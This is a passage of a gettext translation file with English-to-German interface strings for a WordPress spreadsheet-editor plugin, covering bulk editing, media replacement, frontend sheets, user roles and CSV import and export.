                  Wenn das bestehende Datum leer ist, verwenden wir das aktuelle " "Datum als Basis." #: formulas/inc/ui.php:699 formulas/inc/ui.php:727 msgid "Number" msgstr "Zahl" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Hours" msgstr "Stunden" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Days" msgstr "Tage" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Weeks" msgstr "Wochen" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Months" msgstr "Monate" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Years" msgstr "Jahre" #: formulas/inc/ui.php:708 formulas/inc/ui.php:736 msgid "Time unit" msgstr "Zeiteinheit" #: formulas/inc/ui.php:714 msgid "Deduct time from existing dates" msgstr "Zeit von bestehenden Daten abziehen" #: formulas/inc/ui.php:715 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Ziehen Sie eine Anzahl von Stunden, Tagen, Wochen, Monaten oder Jahren von " "den vorhandenen Daten ab.
                  Wenn das vorhandene Datum leer ist, verwenden " "wir das aktuelle Datum als Basis." #: formulas/inc/ui.php:765 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Wir werden die bestehende(n) Mediendatei(en) durch diese Datei(en) ersetzen." #: formulas/inc/ui.php:776 formulas/inc/ui.php:801 formulas/inc/ui.php:826 msgid "Upload the files" msgstr "Dateien hochladen" #: formulas/inc/ui.php:783 formulas/inc/ui.php:808 formulas/inc/ui.php:833 msgid "File URLs" msgstr "Datei-URLs" #: formulas/inc/ui.php:784 formulas/inc/ui.php:809 formulas/inc/ui.php:834 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "" "Die URLs eingeben, getrennt durch Kommata. Sie können von Ihrer eigenen " "Website stammen." #: formulas/inc/ui.php:790 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Wir werden die neue(n) Datei(en) der/den bestehenden Mediendatei(en) " "voranstellen." #: formulas/inc/ui.php:815 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Wir werden die neue(n) Datei(en) an die bestehende(n) Mediendatei(en) " "anhängen." #: formulas/inc/ui.php:840 formulas/inc/ui.php:895 msgid "Replace a media file with other file" msgstr "Eine Mediendatei durch eine andere Datei ersetzen" #: formulas/inc/ui.php:849 msgid "Replace these files" msgstr "Diese Dateien ersetzen" #: formulas/inc/ui.php:850 formulas/inc/ui.php:858 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "" "Die URLs eingeben, getrennt durch Kommata. Sie müssen von Ihrer eigenen " "Website stammen." #: formulas/inc/ui.php:857 msgid "With these files" msgstr "Mit diesen Dateien" #: formulas/inc/ui.php:869 msgid "We will replace the existing media file with this file." msgstr "Wir werden die bestehende Mediendatei durch diese Datei ersetzen." #: formulas/inc/ui.php:880 msgid "Upload the file" msgstr "Datei hochladen" #: formulas/inc/ui.php:888 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Die URL eingeben. Es kann eine URL von Ihrer eigenen Website (Beispiel " "http://site.com/wp-content/uploads/2016/01/file.jpg) oder eine externe URL " "sein." #: formulas/inc/ui.php:904 msgid "Replace this file" msgstr "Diese Datei ersetzen" #: formulas/inc/ui.php:905 formulas/inc/ui.php:913 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Die URL eingeben. Es muss eine URL von Ihrer eigenen Website sein. Beispiel: " "http://site.com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:912 msgid "With this file" msgstr "Mit dieser Datei" #: formulas/inc/ui.php:949 msgid "We will replace the existing terms with these terms." msgstr "Wir werden die bestehenden Begriffe durch diese Begriffe ersetzen." #: formulas/inc/ui.php:954 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Die neuen Begriffe eingeben, getrennt durch %s. Sie können eine Hierarchie " "wie Eltern > Kind > Kind hinzufügen" #: formulas/inc/ui.php:960 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Ersetzen Sie einige Begriffe durch neue Begriffe. Weiterlesen" #: formulas/inc/ui.php:967 formulas/inc/ui.php:972 msgid "You must enter the full hierarchy like parent > child" msgstr "Sie müssen die vollständige Hierarchie wie Elternteil > Kind eingeben" #: formulas/inc/ui.php:982 msgid "Terms" msgstr "Begriffe" #: formulas/inc/ui.php:983 msgid "Enter the full hierarchy like parent > child" msgstr "Die vollständige Hierarchie eingeben, wie Eltern > Kind" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Frontend-Arbeitsblätter" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Login-Meldung" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Sie müssen sich anmelden, um diese Seite anzuzeigen." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Dies wird angezeigt, wenn der aktuelle Benutzer nicht eingeloggt ist und " "versucht, ein Arbeitsblatt zu sehen. Wir zeigen nach Ihrer Nachricht ein " "Anmeldeformular an." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Admin-Leiste im Frontend ausblenden" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Standardmäßig zeigt WordPress einen schwarzen Balken oben auf der Seite an, " "wenn ein angemeldeter Benutzer eine Frontend-Seite aufruft. Über den Balken " "können Sie auf WP-Admin zugreifen, sich abmelden, die aktuelle Seite " "bearbeiten usw. Wenn Sie diese Option aktivieren, wird dieser Balken " "ausgeblendet, und Sie können den Shortcode [vg_display_logout_link] " "verwenden, um den Logout-Link anzuzeigen." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Dieses Logo wird über dem Arbeitsblatt im Frontend angezeigt" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menü" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Dieses Menü wird im oberen rechten Abschnitt über dem Arbeitsblatt angezeigt." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Hauptfarbe" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "Diese Farbe wird als Hintergrund für die Kopf- und Fußzeile verwendet." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Linkfarbe" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Diese Farbe wird für die Menü-Links verwendet, sie sollte das Gegenteil der " "Hintergrundfarbe sein, d.h. dunkler Hintergrund mit hellem Text oder heller " "Hintergrund mit dunklem Text" #: frontend-sheet/frontend-sheet.php:212 msgid "Posts" msgstr "Beiträge" #: frontend-sheet/frontend-sheet.php:213 msgid "Pages" msgstr "Seiten" #: frontend-sheet/frontend-sheet.php:243 msgid "Quick settings" msgstr "Schnelle Einstellungen" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. 7 Tage lang kostenlos " "testen)" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Arbeitsblätter" #: frontend-sheet/frontend-sheet.php:418 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Arbeitsblatt" #: frontend-sheet/frontend-sheet.php:419 frontend-sheet/frontend-sheet.php:446 msgid "Frontend Sheet" msgstr "Frontend-Blatt" #: frontend-sheet/frontend-sheet.php:420 msgid "Post Type" msgstr "Beitragstyp" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Archives" msgstr "Arbeitsblatt-Archiv" #: frontend-sheet/frontend-sheet.php:422 msgid "Spreadsheet Attributes" msgstr "Arbeitsblatt-Attribute" #: frontend-sheet/frontend-sheet.php:423 msgid "Parent Spreadsheet:" msgstr "Übergeordnetes Arbeitsblatt:" #: frontend-sheet/frontend-sheet.php:424 msgid "All Spreadsheets" msgstr "Alle Arbeitsblätter" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New Spreadsheet" msgstr "Neues Arbeitsblatt hinzufügen" #: frontend-sheet/frontend-sheet.php:426 msgid "Add New" msgstr "Neu hinzufügen" #: frontend-sheet/frontend-sheet.php:427 msgid "New Spreadsheet" msgstr "Neues Arbeitsblatt" #: frontend-sheet/frontend-sheet.php:428 msgid "Edit settings" msgstr "Einstellungen bearbeiten" #: frontend-sheet/frontend-sheet.php:429 msgid "Update settings" msgstr "Einstellungen aktualisieren" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheet" msgstr "Arbeitsblatt anzeigen" #: frontend-sheet/frontend-sheet.php:431 msgid "View Spreadsheets" msgstr "Arbeitsblätter anzeigen" #: frontend-sheet/frontend-sheet.php:432 msgid "Search Spreadsheet" msgstr "Arbeitsblatt durchsuchen" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found" msgstr "Nicht gefunden" #: frontend-sheet/frontend-sheet.php:434 msgid "Not found in Trash" msgstr "Nicht im Papierkorb gefunden" #: frontend-sheet/frontend-sheet.php:435 #: wp-sheet-editor/dev/inc/api/bootstrap.php:585 msgid "Featured Image" msgstr "Beitragsbild" #: frontend-sheet/frontend-sheet.php:436 msgid "Set featured image" msgstr "Beitragsbild festlegen" #: frontend-sheet/frontend-sheet.php:437 msgid "Remove featured image" msgstr "Beitragsbild entfernen" #: frontend-sheet/frontend-sheet.php:438 msgid "Use as featured image" msgstr "Als Beitragsbild verwenden" #: frontend-sheet/frontend-sheet.php:439 msgid "Insert into item" msgstr "In Element einfügen" #: frontend-sheet/frontend-sheet.php:440 msgid "Uploaded to this item" msgstr "Zu diesem Element hochgeladen" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list" msgstr "Arbeitsblätter-Liste" #: frontend-sheet/frontend-sheet.php:442 msgid "Spreadsheets list navigation" msgstr "Navigation in der Arbeitsblätter-Liste" #: frontend-sheet/frontend-sheet.php:443 msgid "Filter items list" msgstr "Element-Liste filtern" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "Brauchen Sie Hilfe?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Tutorial ansehen" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "Welche Informationen möchten Sie im Frontend bearbeiten?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:185 #: wp-sheet-editor/dev/views/editor-page.php:221 msgid "Save changes" msgstr "Änderungen speichern" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Bitte wählen Sie den Beitragstyp aus, und speichern Sie die Änderungen. " "Nachdem Sie die Änderungen gespeichert haben, können Sie die restlichen " "Einstellungen und Anweisungen sehen." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Einrichtungsseite im Frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Sie müssen ein Logo auf der Einstellungsseite festlegen. Optional können Sie " "die Hintergrundfarbe oder die Farbe der Links ändern und ein Kopfzeilenmenü " "festlegen." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Einstellungs-Seite öffnen" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Vorschau des Frontend-Editors" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Wenn Sie diesen Schritt abgeschlossen haben, können Sie den Frontend-Editor " "verwenden. Sie können die Frontend-Seite zu einem Menü hinzufügen oder den " "Link mit Ihren Benutzern teilen." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Verfügbare Werkzeuge (optional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Werkzeuge oberhalb der Tabelle." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Sichtbarkeit der Spalten und benutzerdefinierte Felder (optional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Erlauben Sie Ihren Benutzern, benutzerdefinierte Felder zu bearbeiten, dem " "Editor neue Spalten hinzuzufügen, Felder zu aktivieren, Kernfelder zu " "deaktivieren und Felder zu sortieren. Sie können den Frontend-Editor " "vollständig anpassen." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Sicherheit und Benutzerrollen (optional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "Der Editor ist nur für angemeldete Benutzer verfügbar. Unbekannte Benutzer " "sehen ein Anmeldeformular." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Benutzerrollen" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "Abonnenten dürfen den Editor nicht verwenden." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "Beitragende können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder " "können nicht hochladen werden." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "Autoren können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder " "können hochgeladen werden." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "Editoren können alle Beiträge und Seiten anzeigen und bearbeiten." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • Shop-Manager können WooCommerce-Produkte anzeigen und bearbeiten.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "Administratoren können alles anzeigen und bearbeiten." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Hauptmenü" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "\"%s\" bearbeiten" #: posts-templates/posts-templates.php:65 msgid "Duplicate items in bulk" msgstr "Mengen von Elementen duplizieren" #: posts-templates/posts-templates.php:71 msgid "Duplicate this item:" msgstr "Dieses Element duplizieren:" #: posts-templates/posts-templates.php:72 msgid "Enter item name..." msgstr "Elementname eingeben..." #: posts-templates/posts-templates.php:77 msgid "How many copies do you want?" msgstr "Wie viele Exemplare wünschen Sie?" #: posts-templates/posts-templates.php:79 msgid "" "Note. More than 75 copies at once might overload the server. Do it in small " "batches.
                  You can continue if you think your server can handle it." msgstr "" "Achtung: Mehr als 75 Kopien auf einmal können den Server überlasten. Tun Sie " "dies in kleinen Zyklen.
                  Sie können fortfahren, wenn Sie glauben, dass Ihr " "Server damit umgehen kann." #: posts-templates/posts-templates.php:86 #: woocommerce/views/spreadsheet-create-variations-modal.php:104 msgid "Execute" msgstr "Ausführen" #: posts-templates/posts-templates.php:102 msgid "Duplicate items in bulk." msgstr "Mengen von Elementen duplizieren." #: posts-templates/posts-templates.php:103 msgid "Duplicate" msgstr "Duplizieren" #: posts-templates/posts-templates.php:166 msgid "Template item not found or not allowed to be duplicated." msgstr "" "Vorlagenelement nicht gefunden, oder es darf nicht vervielfältigt werden." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Neues Arbeitsblatt aktivieren" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Beitragstyp gelöscht" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Arbeitsblatt einrichten" #: spreadsheet-setup/views/page.php:13 msgid "Set up Spreadsheet" msgstr "Arbeitsblatt einrichten" #: spreadsheet-setup/views/page.php:17 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Sie können den Tabelleneditor in nur 5 Minuten benutzen. Bitte folgen Sie " "diesen Schritten." #: spreadsheet-setup/views/page.php:31 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "Sind Sie sicher, dass Sie die Beitragsart löschen möchten? Sie löschen damit " "auch die Beiträge mit dieser Beitragsart" #: spreadsheet-setup/views/page.php:35 #: wp-sheet-editor/dev/views/quick-setup.php:46 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Wählen Sie die Informationen aus, die Sie mit dem Tabelleneditor bearbeiten " "möchten." #: spreadsheet-setup/views/page.php:38 msgid "Add new post type" msgstr "Neuen Beitragstyp hinzufügen" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:185 msgid "Advanced settings" msgstr "Erweiterte Einstellungen" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Bezeichnung" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Schlüssel" #: universal-sheet/inc/csv-api.php:159 msgid "Allow to import images from FTP servers?" msgstr "Import von Bildern von FTP-Servern zulassen?" #: universal-sheet/inc/csv-api.php:160 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Standardmäßig erlaubt die Importroutine das Speichern von Bildern unter " "Verwendung vollständiger interner URLs, externer URLs, des Dateinamens (aus " "der Medienbibliothek) und der Datei-ID. Wenn Sie diese Option aktivieren, " "werden FTP-URLs wie diese unterstützt: ftp://user:password@host:port/path/to/" "image.png. Dadurch wird der Import langsamer" #: universal-sheet/inc/csv-api.php:166 msgid "FTP Images: Skip images with same file name?" msgstr "FTP-Bilder: Bilder mit demselben Dateinamen überspringen?" #: universal-sheet/inc/csv-api.php:167 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Wenn Sie ein Bild unter Verwendung von FTP-URLs importieren, wird das Bild " "jedes Mal importiert, und es kann sein, dass Sie am Ende Duplikate in der " "Medienbibliothek haben. Aktivieren Sie diese Option, um Bilder in der " "Medienbibliothek mit demselben Dateinamen wiederzuverwenden und bei " "zukünftigen Importen das erneute Herunterladen des FTP-Bildes zu vermeiden. " "Deaktivieren Sie diese Option, wenn Sie die Bilder bei zukünftigen Importen " "aktuell halten wollen." #: universal-sheet/inc/csv-api.php:215 msgid "The export does not exist. Please export again." msgstr "Der Export existiert nicht. Bitte exportieren Sie erneut." #: universal-sheet/inc/csv-api.php:370 msgid "Missing required field \"data\"." msgstr "Fehlendes Pflichtfeld \"Daten\"." #: universal-sheet/inc/csv-api.php:458 msgid "Missing required field. Please start the process again." msgstr "Pflichtfeld fehlt. Bitte starten Sie den Prozess erneut." #: universal-sheet/inc/csv-api.php:463 msgid "Not allowed." msgstr "Nicht erlaubt." #: universal-sheet/inc/csv-api.php:692 msgid "" "%d of %d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%d von %d Elementen sind aus der Datei verarbeitet worden. {total_updated} " "Elemente wurden aktualisiert und {total_created} Elemente wurden erstellt." #: universal-sheet/inc/csv-api.php:715 msgid "Not allowed. Please start the process again." msgstr "Nicht erlaubt. Bitte starten Sie den Prozess erneut." #: universal-sheet/inc/csv-api.php:732 msgid "Wrong file url" msgstr "Falsche Datei-URL" #: universal-sheet/inc/csv-api.php:736 universal-sheet/inc/csv-api.php:751 #: universal-sheet/inc/csv-api.php:778 msgid "Wrong file extension. We accept CSV only" msgstr "Falsche Dateierweiterung. Wir akzeptieren nur CSV" #: universal-sheet/inc/csv-api.php:746 universal-sheet/inc/csv-api.php:783 msgid "File could not be uploaded. Please start the process again." msgstr "" "Datei konnte nicht hochgeladen werden. Bitte starten Sie den Vorgang erneut." #: universal-sheet/inc/csv-api.php:759 msgid "Wrong data format" msgstr "Falsches Datenformat" #: universal-sheet/inc/csv-api.php:793 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "Die Datei wurde erfolgreich hochgeladen, aber es handelt sich nicht um eine " "gültige CSV-Datei oder sie verwendet die falsche Kodierung. Wenn Sie die " "Datei in Excel bearbeitet haben, vergewissern Sie sich, dass sie als UTF-8 " "gespeichert wurde, und bedenken Sie, dass beim Einfügen von Kopien von " "externen Stellen manchmal ungültige Zeichen hinzugefügt werden. Stellen Sie " "also sicher, dass Sie nur die Werte und nicht die Formatierung einfügen, um " "das Einfügen ungültiger Zeichen zu vermeiden." #: universal-sheet/inc/csv-api.php:945 msgid "Processing: %d of %d rows have been exported." msgstr "Verarbeitung: %d von %d Zeilen wurden exportiert." #: universal-sheet/inc/csv-api.php:955 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  Der Export ist abgeschlossen.

                  Der Download sollte automatisch " "starten." #: universal-sheet/inc/csv-api.php:957 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor-universal-sheet/exports/ on your server." "

                  The export files are deleted automatically after %d hours." msgstr "" " Wenn er nicht automatisch startet, finden Sie die Datei im Ordner /wp-" "content/uploads/wp-sheet-editor-universal-sheet/exports/ auf Ihrem Server." "

                  Die Exportdateien werden nach %d Stunden automatisch gelöscht." #: universal-sheet/inc/google-sheets.php:51 #: universal-sheet/inc/google-sheets.php:65 #: universal-sheet/views/edit-google-sheets-modal.php:4 msgid "Edit in Google Sheets" msgstr "In Google Sheets bearbeiten" #: universal-sheet/inc/google-sheets.php:51 msgid "" "1. Open Google Sheets." "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in the " "\"quick access\" option in the Google Sheet sidebar." msgstr "" "1. Öffnen Sie Google Sheets.
                  2. Klicken Sie auf \"WP Sheet Editor\" im Menü
                  3 . Geben Sie " "diesen Link in die Option \"Schnellzugriff\" in der Seitenleiste von Google " "Sheet ein." #: universal-sheet/inc/google-sheets.php:51 msgid "" "Use this link privately for security reasons, this link expires after one " "usage." msgstr "" "Benutzen Sie diesen Link aus Sicherheitsgründen privat, dieser Link verfällt " "nach einmaliger Benutzung." #: universal-sheet/inc/rest-api.php:261 msgid "JWT is not configurated properly, please contact the admin" msgstr "" "JWT ist nicht richtig konfiguriert, bitte kontaktieren Sie den Administrator" #: universal-sheet/inc/rest-api.php:315 msgid "The quick access link has expired or it does not exist" msgstr "Der Schnellzugriffslink ist abgelaufen oder existiert nicht" #: universal-sheet/universal-sheet.php:92 msgid "Ignore this column" msgstr "Diese Spalte ignorieren" #: universal-sheet/universal-sheet.php:100 #: universal-sheet/views/import-modal.php:131 msgid "Full URL" msgstr "Vollständige URL" #: universal-sheet/universal-sheet.php:136 msgid "Export" msgstr "Exportieren" #: universal-sheet/universal-sheet.php:161 msgid "Download CSV file" msgstr "CSV-Datei herunterladen" #: universal-sheet/universal-sheet.php:169 msgid "Import" msgstr "Importieren" #: universal-sheet/views/edit-google-sheets-modal.php:5 msgid "Note. This works in Google Chrome only." msgstr "Achtung: Dies funktioniert nur in Google Chrome." #: universal-sheet/views/edit-google-sheets-modal.php:8 msgid "" "Add this code at the beginning of the .htaccess file in the root directory " "of your website. It is required for authenticating requests between Google " "Sheets and WordPress" msgstr "" "Fügen Sie diesen Code am Anfang der .htaccess-Datei im Stammverzeichnis " "Ihrer Website ein. Er ist für die Authentifizierung von Anfragen zwischen " "Google Sheets und WordPress erforderlich" #: universal-sheet/views/edit-google-sheets-modal.php:13 msgid "" "Install the \"WP Sheet Editor\" chrome extension.
                  Install" msgstr "" "Die Chrome-Erweiterung \"WP Sheet Editor\" installieren. Installieren" #: universal-sheet/views/edit-google-sheets-modal.php:14 msgid "" "Open Google Sheets. Click here" msgstr "" "Google Sheets öffnen. Hier klicken" #: universal-sheet/views/edit-google-sheets-modal.php:15 msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." msgstr "" "In Google Sheets > obere Werkzeugleiste. Öffnen Sie die Option \"WordPress\"." #: universal-sheet/views/edit-google-sheets-modal.php:16 msgid "" "Copy this access link and paste it in Google Sheets. Get quick access link" msgstr "" "Diesen Zugangslink kopieren und in Google Sheets einfügen. Link für den Schnellzugriff" #: universal-sheet/views/edit-google-sheets-modal.php:18 msgid "" "You must use it privately for security reasons, this link expires after one " "usage." msgstr "" "Sie müssen es aus Sicherheitsgründen privat nutzen, dieser Link verfällt " "nach einmaliger Nutzung." #: universal-sheet/views/export-modal.php:8 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "Die Exportfunktion ist nicht mit Ihrer Website kompatibel. Stellen Sie " "sicher, dass WordPress und alle Plugins und Themen auf dem neuesten Stand " "sind." #: universal-sheet/views/export-modal.php:11 #: universal-sheet/views/export-modal.php:19 msgid "Export to CSV" msgstr "Als CSV exportieren" #: universal-sheet/views/export-modal.php:22 msgid "What columns do you want to export?" msgstr "Welche Spalten möchten Sie exportieren?" #: universal-sheet/views/export-modal.php:31 msgid "Select active columns" msgstr "Aktive Spalten auswählen" #: universal-sheet/views/export-modal.php:31 woocommerce/inc/attributes.php:187 #: woocommerce/inc/attributes.php:203 msgid "Select all" msgstr "Alles auswählen" #: universal-sheet/views/export-modal.php:31 msgid "Unselect all" msgstr "Alle abwählen" #: universal-sheet/views/export-modal.php:35 msgid "I understand it will export all the rows from my current search." msgstr "" "Ich weiß, dass alle Zeilen aus meiner aktuellen Suche exportiert werden." #: universal-sheet/views/export-modal.php:35 msgid "" "For example, if you searched for posts by \"author = Mark\" using the search " "tool, we will export only posts with \"author Mark\"" msgstr "" "Wenn Sie zum Beispiel mit dem Suchwerkzeug nach Beiträgen mit \"Autor = Mark" "\" gesucht haben, exportieren wir nur Beiträge mit \"Autor Mark\"" #: universal-sheet/views/export-modal.php:38 msgid "What app will you use to edit this file? (optional)" msgstr "" "Welche Anwendung werden Sie zur Bearbeitung dieser Datei verwenden? " "(optional)" #: universal-sheet/views/export-modal.php:40 msgid "--" msgstr "--" #: universal-sheet/views/export-modal.php:41 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/views/export-modal.php:42 msgid "Other versions of Microsoft Excel" msgstr "Andere Versionen von Microsoft Excel" #: universal-sheet/views/export-modal.php:43 msgid "Google Sheets" msgstr "Google Sheets" #: universal-sheet/views/export-modal.php:44 msgid "Other" msgstr "Andere" #: universal-sheet/views/export-modal.php:51 msgid "Name of this export (optional)" msgstr "Name dieses Exports (optional)" #: universal-sheet/views/export-modal.php:51 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Wir werden die aktuelle Suchanfrage und die Exporteinstellungen speichern, " "und Sie können diesen Export in Zukunft mit einem Klick über das Dropdown-" "Menü im Exportmenü ausführen" #: universal-sheet/views/export-modal.php:67 msgid "Start new export" msgstr "Neuen Export starten" #: universal-sheet/views/import-modal.php:9 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "Die Importfunktion ist nicht mit Ihrer Website kompatibel. Stellen Sie " "sicher, dass WordPress und alle Plugins und Themen auf dem neuesten Stand " "sind." #: universal-sheet/views/import-modal.php:12 #: universal-sheet/views/import-modal.php:22 msgid "Import csv" msgstr "CSV importieren" #: universal-sheet/views/import-modal.php:23 msgid "Source" msgstr "Quelle" #: universal-sheet/views/import-modal.php:26 msgid "CSV file from my computer" msgstr "CSV-Datei von meinem Computer" #: universal-sheet/views/import-modal.php:27 msgid "CSV file from url" msgstr "CSV-Datei von URL" #: universal-sheet/views/import-modal.php:28 msgid "Copy & paste from another spreadsheet or table" msgstr "" "Aus einem anderen Arbeitsblatt oder einer Tabelle kopieren und einfügen" #: universal-sheet/views/import-modal.php:29 msgid "CSV file in the server" msgstr "CSV-Datei auf dem Server" #: universal-sheet/views/import-modal.php:33 msgid "CSV file" msgstr "CSV-Datei" #: universal-sheet/views/import-modal.php:35 #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:46 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:94 #: universal-sheet/views/import-modal.php:152 msgid "Next" msgstr "Nächster" #: universal-sheet/views/import-modal.php:43 msgid 